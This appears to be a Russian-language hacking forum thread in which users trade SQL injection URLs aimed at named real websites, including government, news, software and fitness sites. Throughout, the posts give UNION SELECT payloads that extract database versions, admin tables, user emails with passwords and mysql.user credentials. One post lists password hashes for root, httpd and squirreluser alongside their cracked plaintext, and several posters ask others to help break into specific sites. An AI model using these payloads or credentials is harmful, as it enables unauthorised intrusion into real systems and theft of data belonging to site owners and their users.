SQL Инъекции

PHP:

http://www.guaira.pr.gov.br/php/noticia.php?id=-626+union+select+1,2,3,AES_DECRYPT(AES_ENCRYPT(concat(version()),0x73),0x73),5,6,7,8,9,0,1,2   ,3,4,5,6,7,8+from+ssp2g_admins/*

HTML:

http://romadan.bdk.com.ru/br.php?ID=-42+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(version(),0x73),0x73),4   ,5,6/*

Code:

http://www.legalizar.com.br/php/pg-arquivo-noticias.php?id=-35+union+select+1,2,3,4,version(),6,7  ,8/*

 

http://www.aikyn.kz/print.php?lan=kaz&id=166&pub='
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in d:\web\aikyn.kz\mod\pub.www.mod.php on line 87
Винда походу кто что дальше копаемс

 

root:6f7e3ea03b3097d2
httpd:3313fabe7895922b
squirreluser:724e1684141f4a63

 

To V.I.P

После расшифровки получил:

root - ro2ot
httpd - ht3876

 

_http://www.euroweb.ru/webnews/?id=-1+union+select+1,2,3,4,5,6+from+admins/*

задолбался подбирать что еще... сломал через другой соседний сайт..

 

http://www.dirpodcast.com/podcasts/index.php?iid=9596+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat(email,0x3a,password),15,16,17,18,19,20,21,22,23+from+users+Limit+50

http://www.methings.com/podcasts/index.php?iid=13581+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

 

кто админку найдет - пишите

 

www.gramota.ru

Скажем да медведу ?

Code:

http://www.gramota.ru/news.html?nn=-1+union+select+1,concat(user(),0x3a,version()),3,4,5,6+from+user/*

С колонками трабла, хотя не особо и старался.

 

думал сначала написать это сообщение в раздел "просьба о взломах", но имхо это слишком)))
может кто-то сможет помочь с этим сайтом _http://www.1plus1city.tv/star/?p=-9999, оч. нужно

 

Где ты здесь инъекцию нашёл? =\

 

ну впринцепе я для этого здесь и писал, что-б помогли определится, ну, нет, так нет

 

Премьер-министр Официальный сайт

Code:

http://www.premier-ministr.ru/index.php?module=news&id=-1+union+select+1,2,3,4,5,6,7,8,9,0/*

там стоит phpbb2, но название таблиц подобрать не смог.. кто осилит - с меня плюс)
видимо, там префикс какой-то жуткий, я ни одной таблицы не подобрал.

 

ачатовцы

 

Может боян, но всё же:

WinRAR
http://www.win-rar.com/index.php?id=295&kb_article_id=-49+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(concat(user,0x3a,password),0x73),0x73),4,5,6,7,8,9,10+from+mysql.user

 

Code:

http://www.medell.ru/view.php?ID=-116+union+select+1,2,user(),4,5,6,concat(version(),char(58),database()),8,9,10,11,12,13/*

табоицы не нашел(не пытался)

 

Данные таблицы есть =)
information_schema.tables
information_schema.columns

Директория Сайта:

Code:

/home/medell/public_html

p.s пошёл вытаскивать table_name + column_name

=========== tables ===========
CatPro
Categories
Goods
GoodsList
Kats
Links
Mods
OrderedCarts
Orders
anons
kurs
news_tbl
qwery_tab

================

 

алахакбаровский язык.)

 

Code:

http://contaxg.com/user.php?id=-4661%20union%20select%201,2,3,4,5,6,version(),8,9,0,11%20from%20users/*

 

Alexsize постим только раскрученные скули, предварительно проверенные на антибояне

 

Металинк Фитнес Менеджер:

Code:

http://fitnessmanager.ru/index.php?page=catalog&action=position_list&id=-96+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10/*

---------------------------

Федерация Компьютерного спорта России (Петербургское отделение)

Code:

http://fcsspb.ru/index.php?cont=content&id=6'+AND+1=0+union+select+1,2,concat(version(),0x3a,user(),0x3a,database()),4,5,6,7,8,9,10,11,12,13/*